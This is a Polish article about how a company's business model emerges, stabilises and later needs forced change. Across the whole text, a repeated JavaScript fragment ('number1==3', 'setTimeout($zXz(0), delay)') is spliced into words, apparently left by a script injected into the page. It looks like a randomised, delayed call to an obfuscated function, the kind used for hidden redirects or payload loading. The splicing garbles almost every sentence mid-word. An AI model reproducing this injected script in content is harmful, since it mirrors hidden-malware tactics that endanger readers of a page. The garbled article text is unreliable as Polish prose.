Najczęściej hisdom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torycznie. I powoli. Każda firma ma jakiś Model Biznesowy, nawet taka, która o tym nie wie.
Co dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jest Model Biznesowy?
Model przede wszystkim stanowi obudowę dla przewagi konkurencyjnej, ale też mechanizm, który przekształca popyt w o dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toczeniu w rendom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towność firmy.
W firmach handlowych war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wydzielić szczególną część Modelu Biznesowego, którą widzi i doświadcza klient końcowy, czyli Koncept Sprzedażowy. War dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to go wydzielić, ze względu na obecność nieprzewidywalnego klienta zarządzanie tą częścią Modelu bardzo się różni od zarządzania jego pozostałą częścią (dominuje wykorzystanie statystyki, zamiast związków przyczynowo — skutkowych).
Model w rzeczywisdom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości nie istnieje, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to tylko wyobrażenie i idealizacja. Po pierwsze dlatego, że dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to z założenia tylko uproszczenie skomplikowanej struktury firmy, ale też dlatego, że żeby zaistniał, trzeba go wdrożyć, a potem wykonywać.
Wdrożenie i wykonanie. To kolejny powód, dla którego Model nie istnieje w rzeczywisdom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości. Żeby Model zaistniał, trzeba go najpierw wdrożyć w realnej rzeczywisdom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości „tu i teraz”. A następnie trzeba nim zarządzać na co dzień, co można nazwać zarządzaniem codziennością.
Przy wdrożeniu i wykonaniu zawsze mają odstępstwa od wyidealizowanego Modelu, które jeszcze bardziej oddalają go od założeń. Część dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to efekt kompromisów, gdyż rzeczywisdom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość nigdy nie jest taka, jak Model zakłada. Ale druga część dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to błędy, które wynikają właśnie z tego, że firma nie zna własnego Modelu i konsekwencji odstępstw od założeń.
Zwykle nie jest tak, że najpierw k dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toś wymyśla Model, a następnie go wdraża i wykonuje. Zwykle kolejność jest odwrotna, najpierw powstaje firma, dostrzegająca i wykorzystująca przypadkowo pojawiające się szanse w o dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toczeniu. Dopiero gdy firma już powstanie i się ustabilizuje, k dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toś wpada na pomysł, żeby opisać jej Model. Tyle że ten Modelu już tam jest, brakuje tylko jego świadomości, sformułowania i opisania.
Najpierw nie ma Modelu, ale jest otwardom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość i elastyczność
Jak powstaje firma? Częsdom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to na początku jest pomysł twórcy, ale na ogół ten pomysł z czasem jest negatywnie weryfikowany przez rynek i rzeczywisdom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość, okazuje się, że ma swoje słabe strony i w efekcie wychodzi zupełnie co innego. Ale jeśli przedsiębiorca ma zapał, otwarty umysł i potrafi dostrzec szanse, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to ten proces, choć może niewdrożenie konkretnego oryginalnego pomysłu kończy się sukcesem. To okres burzy i naporu, ale też okres, gdzie godom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towy Model nie tylko nie istnieje, ale nawet gdyby istniał, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to byłby dla firmy tylko przeszkodą i ograniczeniem.
W fazie wzrostu firmy rozwój Modelu następuje samoistnie, wszyscy pracownicy czują, że dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to organizacja w fazie rozwoju i akceptują, a nawet inicjują zmiany. Z czasem jednak firma się stabilizuje, zmiany są coraz wolniejsze, a jednocześnie firma czuje się pewniej na rynku, a dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to moment, gdy można stwierdzić, że ukształdom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tował się jej Model, może nie cały, ale na pewno jego zręby.
Nawet jeśli Model firmy jest już z grubsza ukształdom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towany, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wcale nie znaczy, że firma (jej pracownicy) czy jej właściciel są tego świadomi. Częsdom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nie zawracają sobie tym w ogóle głowy, codzienna walka angażuje wszystkich na tyle, że ani właściciel i twórca, ani pomagający mu pracownicy nie myślą co tak naprawdę stworzyli. A tym bardziej nie mają potrzeby, aby dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to opisać, przecież znają każdy szczegół, więc po co im dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to?
Uwaga. „Model, a raczej jego opis jednak się przyda”. Przede wszystkim przyda się nowym pracownikom, szczególnie wyższego szczebla, którzy nie uczestniczyli w jego tworzeniu od początku, więc taka „ściągawka” co jest ważne i jak dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to działa byłaby bardzo przydatna. Ale taki opis przyda się także twórcy, gdyż od tego momentu, jeśli będzie wprowadzał zmiany do Modelu (a raczej na pewno będzie), dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to lepiej, żeby robił dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to świadomie i wiedząc, co dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to może oznaczać.
Kiedy szybkość zmian zwalnia, a firma się stabilizuje, można powiedzieć, że Model się ukształdom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tował. Może nie jest godom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towy w 100%, ale zręby już są, określona jest przewaga konkurencyjna i relacje między najważniejszymi elementami.
Powstaje Model
A raczej jest on godom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towy w 80%. Wtedy wciąż rozwija się dalej, ale ten rozwój zwalnia. No i zmiany raczej doskonalą i cyzelują dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, co już jest zrobione, a nie podważają podstawy istnienia.
Uwaga. „godom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towość Modelu?” Model ma służyć jako obudowa dla przewagi konkurencyjnej, ale też jako maszyna do przekształcenia popytu w o dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toczeniu w rendom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towność firmy. I tu właśnie pojawia się definicja godom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towości Modelu. Z Modelem jest jak z pojawieniem się nowych gatunków w przyrodzie. Gatunek się przestaje rozwijać, gdy w pełni i optymalnie wykorzystuje zasoby w środowisku.
Gdy wydaje się, że wszystko już działa, rozwój Modelu się usztywnia, a na pewno zwalnia.
Rozwój się usztywnia
To kluczowy moment – na usztywnienie jest zwykle za wcześnie, trzeba dalej próbować. Jeśli Model zastyga, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nie osiągnął optimum i nigdy go nie osiągnie. Ale zwykle rynek wymusza na firmie dalsze zmiany, tyle że nie muszą być już one tak szybkie, poza tym nie zmieniają już tego, co do tej pory.
Do tego momentu Model jest niestabilny, możliwe są zmiany, a nawet cofniecie się z rozwojem. Gdy Model jest już zaawansowany w 80%, można go szlifować i ulepszać, ale nie zmieniać. Gdyby firma jednak doszła do wniosku (rzadko świadomie), że dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jednak potrzebne, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to proces wróci do fazy budowania nowego Modelu.
Kiedy firma dotrze do 100% wykorzystania popytu i przekształcenia go w rendom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towność, co pozna dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to po tym, że zaczyna wygrywać na rynku, i dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to już nie przypadkiem, ale w zaplanowany i zorganizowany sposób, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to oznacza, że jej Model staje się godom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towy.
To moment, gdy firma zaczyna odczuwać potrzebę spisania tego, co robi, np. w postaci Podręcznika Operacyjnego, zakresu obowiązków pracowników czy procedur. To jednak także moment wspięcia się na szczyt (możliwości), a jak wiadomo, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to bardzo niestabilna pozycja. Poza tym firma nadal chce rosnąć, czasem też się rozwijać. Jak może dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to robić, gdy ma już ustabilizowany Model?
Jeśli firma wybierze drogę rozwoju ekstensywnego, jej Model pozostanie bez zmian i taki będzie powielany w wielu kopiach. Jeśli jednak wybierze model rozwoju intensywnego, szczególnie jeśli wymusi dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to np. wejście w nowe o dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toczenie, do którego nie jest w pełni przygodom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towana np. na nowe rynki czy inny Format, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to Model firmy musi się już zmienić. Ale dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to już inny etap rozwoju firmy i teraz zmiany nie nastąpią samoistnie. Organizację trzeba do tego zmuszać. Trzeba wcześniej się jednak upewnić, czy dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to już ten moment.
Później zmiany trzeba wręcz wymuszać
Bo o dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toczenie się zmienia, konkurencja uczy, a Model już zastygł. W wymuszaniu zmian bardzo przeszkadza dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, że firma dla wygody organizuje się w łatwo zarządzalne działy, zamiast patrzeć na funkcje Modelu. Ale do tego trzeba wyć właśnie tego Modelu świadomym.
Uwaga. „dział i funkcja dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nie dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to samo”. Funkcja dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to element Modelu, taka jak zapewnienie poziomu dostępności dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towaru, odwiedzalność czy obsługa klienta. To te składniki Modelu zapewniają jego funkcjonowanie i umożliwiają działanie formuł sprzedaży i przedsiębiorstwa. Te funkcje z wygody w zarządzaniu realizowane są przez działy w firmie, takie jak dział marketingu, dział handlowy czy dział sprzedaży. Jednak jedna funkcja może być wykonywana przez kilka działów, których kompetencje się przenikają.
Przenikanie działów i funkcji. To funkcje decydują i dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to one są opisane w Modelu. Jednak same się nie wykonają, potrzebne są zasoby i pracownicy, dla wygody już (zarządzania) zorganizowane w działy firmy.
Zamiana (dla wygody zarządzania) funkcji (część Modelu) na działy (część organizacji) fałszuje priorytety i zaburza Model. Bardzo też utrudnia modyfikację Modelu, gdy przyjdzie już na dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to czas. Wtedy działy bronią swojej pozycji, budżetu czy zatrudnienia, zamiast patrzeć na funkcje. A dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to funkcje zawodzą i dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to je trzeba modyfikować w nowym czy poprawionym Modelu.
Podsumowanie
Firma rzadko buduje świadomie swój Model Biznesowy, choć każda go ma. Raczej po prostu zmaga się na co dzień z rynkiem, a jej Model powstaje niejako samoistnie i bez jej świadomości. Ale powstaje i war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to być go świadomym. Po pierwsze dlatego, żeby nie zatrzymać rozwoju zbyt wcześnie, gdy jest jeszcze niegodom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towy, ale też dlatego, żeby móc świadomie zdecydować, czy już się nadaje do rozwoju ekstensywnego. Ale też bardzo się przyda w momencie, gdy firma zaczyna przegrywać, wtedy świadomie może stwierdzić, czy dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to ona coś zawaliła, na poziomie zarządzania codziennością, czy dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to o dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toczenie się zmieniło i czas na zmianę Modelu.